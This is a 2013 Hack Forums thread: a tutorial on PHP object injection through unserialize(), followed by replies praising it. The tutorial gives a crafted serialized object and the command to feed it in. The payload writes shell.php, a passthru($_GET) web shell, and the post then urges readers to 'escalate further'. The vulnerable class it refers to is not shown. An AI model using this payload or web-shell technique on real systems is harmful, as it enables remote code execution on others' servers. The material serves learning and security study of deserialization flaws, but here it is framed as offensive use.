

Forum:[Hack Forums](#)

Thread: [\[TUTORIAL\] - PHP Object Injection](#)

bckslsh. - June 7, 2013, 11:44 am

PHP Object Injection

- [1]. What is it, how does it work?
- [2]. How can I exploit it?
- [3]. Outro

What is it, how does it work?

PHP object injection is what the name describes. Injecting custom-crafted objects into a script. This is possible when a user-supplied argument is passed through the `unserialize()` function within PHP. You can pass a serialized string of an object of a class into somewhere that will take it in, and after PHP reconstructs the object, it will be available to the object scope, and it will call one of the following magic methods if they are included in the class. This includes `__construct()`, `__destruct()`, `__sleep()` and `__wakeup()`.

This can lead on to many different attacks, such as SQL Injection, Remote code execution, file disclosure and more.

How can I exploit it?

First of all, we will need to find a vulnerable application. I wrote up a ballsy cache class quickly for demonstration purposes. Also note, that it doesn't have to be the `$argv` variable. It could be any global variable which contains user input, such as `$_GET`, `$_COOKIE`, `$_SERVER['QUERY_STRING']` etc.

The above script is vulnerable. We will be able to modify the classes contents, and set the cache file to some non existing PHP file, and set the contents to whatever we like as well.

So, how would we go about doing so?

First of all, we will want to obtain a serialized version of the class, with all of our variables set to what we want them to be. This is called an object. I'll use ~

You could of course use whatever name you like, and whatever contents you like.

After running the script, we will receive ~

PHP Code
<?php

```
O:13:"cache_handler":2:{s:13:" * cache_file";s:9:"shell.php";s:17:" * cache_contents";s:27:"<? passthru($_GET["1"]); ?>";}
```

our serialized object. You don't NEED to understand what any of this is, but if you're interested, the first O:13 determines the datatype of the string held within it. O = object. The 13 is just the length of the name of the class, followed by it's name. s:13 represents a string of 13 characters in length.

Alrighty. Now that we have our serialized object ready, all we want to do is run the program and pass that in as our first argument. So in our terminal we will do the following ~

PHP Code

```
<?php
php file.php
'O:13:"cache_handler":2:{s:13:" * cache_file";s:9:"shell.php";s:17:" * cache_contents";s:27:"<? passthru($_GET["1"]); ?>";}'
```

And do a ls/dir, and if your pwd was writeable, shell.php should appear here. Now you can visit shell.php?1= and escalate further.

Outro

This is an often overlooked vulnerability, which has recently been put into use quite a lot by an individual that goes by the alias 'EgiX'. If you need some more examples you can read up on exploits he has found.

Thanks for reading.

Jay? - June 7, 2013, 11:54 am

Just read over the entire thing. Excellent thread bckslsh.

uzmire- - June 7, 2013, 12:20 pm

Exemplary tutorial, but don't expect to understand it if you don't know basic php.

dfgrtyxcv - June 7, 2013, 12:59 pm

Wow way to leech this guide from antipaste LOL.

-?Divine- - June 7, 2013, 2:44 pm

Nicely written mate. Thanks for contributing ;)

Gee4rce - June 7, 2013, 5:53 pm

This is a very impressive contribution to the community, thank you very much for this!!
Finally, for me a new technique beeing introduced besides common XSS and SQLi :D
Thank you bckslsh. ! Greetings, Gee.

Black Reaper - June 7, 2013, 10:30 pm

nice tut bro
got someting better than sql and xss tut :)

Phizo - June 7, 2013, 11:23 pm

Your example demonstrates exploiting the use of the __destruct() method.
(Jun 7, 2013 11:44 AM)bckslsh. Wrote: [\[CITE\]](#) and it will attempt to call its __wakeup() magic

method.

It would be fun to see some challenges on this, I believe K4Fr will be making one soon; this will help some people prepare.

I recommend reading OWASP's tutorial and PHP's documentation for OOP if you don't quite understand this tutorial very well.

bckslsh. - June 8, 2013, 7:55 am

(Jun 7, 2013 11:23 PM)Phizo Wrote: [\[CITE\]](#) Your example demonstrates exploiting the use of the `__destruct()` method.

It would be fun to see some challenges on this, I believe K4Fr will be making one soon; this will help some people prepare.

I recommend reading OWASP's tutorial and PHP's documentation for OOP if you don't quite understand this tutorial very well.

I'll probably end up making some more examples and giving out challenges sometime in the future.

Keeper - June 8, 2013, 10:30 am

Since Phizo already mentioned it, here is a [tutorial on serialization of objects](#). Aside from that, thanks for putting together this information. I personally had some issues getting the knack of this.

Light Yagami. - June 8, 2013, 5:05 pm

Nice tut Dan oops did i say Dan i think i meet Dan uk [censored]

0Days - June 8, 2013, 6:53 pm

Amazing TuT, thanks for the share. I need to work on my PHP after seeing this!

Flaaffy - June 8, 2013, 8:56 pm

thanks for the tutorial buddy! nice HQ share and ill be trying this soon!

Keeper - June 14, 2013, 12:56 pm

Soon there'll be some tutorial-related challenges. Right Dan?

Aryaman - July 22, 2013, 5:05 am

This is something new to me and it is the better than SQL.

urez - August 6, 2013, 5:23 pm

makes sense and is interesting, good write up

BeggFoMercy - August 6, 2013, 6:34 pm

Brilliant work my man , keep up the good work :)

rootmohit - May 11, 2014, 12:21 am

Nice tut bro today i learned something new :)

ronaldbunsay - May 11, 2014, 4:42 am

nice tut , i learning more knowledge about that :D

iHacker-n00b - September 28, 2014, 8:35 am

Awesome!! :D Thnx For Sharing Sir

Was Looking For This From Long time